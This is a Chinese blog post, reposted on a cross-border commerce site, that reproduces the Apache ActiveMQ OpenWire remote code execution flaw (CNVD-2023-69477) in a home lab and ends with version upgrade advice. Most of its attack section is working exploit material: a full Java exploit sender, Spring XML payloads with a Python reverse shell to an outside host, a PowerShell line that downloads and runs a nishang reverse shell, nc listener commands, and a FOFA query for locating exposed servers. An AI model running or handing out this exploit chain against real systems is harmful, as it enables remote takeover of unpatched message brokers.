跨境派

跨境派

跨境派,专注跨境行业新闻资讯、跨境电商知识分享!

当前位置:首页 > 卖家故事 > Apache ActiveMQ 远程代码执行漏洞复现(CNVD-2023-69477)

Apache ActiveMQ 远程代码执行漏洞复现(CNVD-2023-69477)

时间:2024-04-25 09:35:30 来源:网络cs 作者:峨乐 栏目:卖家故事 阅读:

标签: 漏洞  执行  远程 
阅读本书更多章节>>>>

Apache ActiveMQ 远程代码执行RCE漏洞复现(CNVD-2023-69477)

上周爆出来的漏洞,正好做一下漏洞复现,记录一下

1.漏洞描述

​ Apache ActiveMQ 中存在远程代码执行漏洞,具有 Apache ActiveMQ 服务器TCP端口(默认为61616)访问权限的远程攻击者可以通过发送恶意数据到服务器从而执行任意代码。

影响版本

Apache ActiveMQ < 5.18.3

Apache ActiveMQ < 5.17.6

Apache ActiveMQ < 5.16.7

Apache ActiveMQ < 5.15.16

fofa语法:

app="APACHE-ActiveMQ" && port="61616"

2.环境搭建

​ 这里我是在本地进行复现的,使用了kali 和win10

安装ActiveMQ

访问:https://activemq.apache.org/,随便下载一个存在漏洞的版本

这里我下载的是apache-activemq-5.15.10版本

解压进入bin目录

使用:

activemq start #启动

访问http://127.0.0.1:8161可以看到环境启动成功

在这里插入图片描述

3.漏洞复现

访问:https://github.com/sincere9/Apache-ActiveMQ-RCE/tree/main/exp

下载之后进入/exp文件夹,看到ActiveMQ.java, 进行修改自己的IP地址, win10:192.168.2.129 ,kali192.168.2.131

import java.io.*;import java.net.Socket;public class ActiveMQ {    public static void main(final String[] args) throws Exception {        System.out.println("[*] Poc for ActiveMQ openwire protocol rce");        String ip = "192.168.2.129";            int port = 61616;        String pocxml= "http://192.168.2.131:8000/poc.xml";        Socket sck = new Socket(ip, port);        OutputStream os = sck.getOutputStream();        DataOutputStream out = new DataOutputStream(os);        out.writeInt(0); //无所谓        out.writeByte(31); //dataType ExceptionResponseMarshaller        out.writeInt(1); //CommandId        out.writeBoolean(true); //ResponseRequired        out.writeInt(1); //CorrelationId        out.writeBoolean(true);        //use true -> red utf-8 string        out.writeBoolean(true);        out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");        //use true -> red utf-8 string        out.writeBoolean(true);        out.writeUTF(pocxml);        //call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rce        out.close();        os.close();        sck.close();        System.out.println("[*] Target\t" + ip + ":" + port);        System.out.println("[*] XML address\t" + pocxml);        System.out.println("[*] Payload send success.");    }}

之后修改xml文件:

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">    <constructor-arg>      <list>        <value>python</value>        <value>-c</value><value><![CDATA[import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("niubi.com",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")]]></value>      </list>    </constructor-arg>  </bean></beans>

然后启动命令

python3 -m http.server 8000#启动http监听nc -lvvp 9999#监听端口javac ActiveMQ.java#编译java ActiveMQ#运行

但是此处确实调用了poc.xml文件却没有反弹shell

在这里插入图片描述

于是看看ping dnslog试试

修改xml

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">    <constructor-arg>      <list>        <value>ping</value>        <value>t1298j.dnslog.cn</value>      </list>    </constructor-arg>  </bean></beans>

此处看到DNSlog平台确实有回显,证明执行了命令

在这里插入图片描述

于是想办法反弹shell ,想到windows反弹shell 命令可能不同,于是用powershell方式反弹shell

修改poc.xml文件:

<beans xmlns="http://www.springframework.org/schema/beans"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">        <constructor-arg>            <list>                <value>powershell</value>                <value>-c</value>                <value><![CDATA[IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.2.131 -Port 23333]]></value>            </list>        </constructor-arg>    </bean></beans>

再次进行监听和运行exp

在这里插入图片描述

可以看到成功反弹shell

在这里插入图片描述

PS: 在反弹shell过程中,开始一直没弹出来,于是进入\apache-activemq-5.15.10\data,查看activemq.log日志信息,发现终止链接

在这里插入图片描述

于是将win10 防火墙,defend等全部关掉,将日志log4j.logger.org.apache.activemq=DEBUG开启,之后查看日志后,才解决问题,到此处才成功反弹shell

4.漏洞修复

目前官方已通过限制反序列化类只能为Throwable的子类的方式来修复此漏洞。建议受影响用户可以更新到:
Apache ActiveMQ >= 5.18.3
Apache ActiveMQ >= 5.17.6
Apache ActiveMQ >= 5.16.7
Apache ActiveMQ >= 5.15.16

阅读本书更多章节>>>>

本文链接:https://www.kjpai.cn/gushi/2024-04-25/162019.html,文章来源:网络cs,作者:峨乐,版权归作者所有,如需转载请注明来源和作者,否则将追究法律责任!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。

文章评论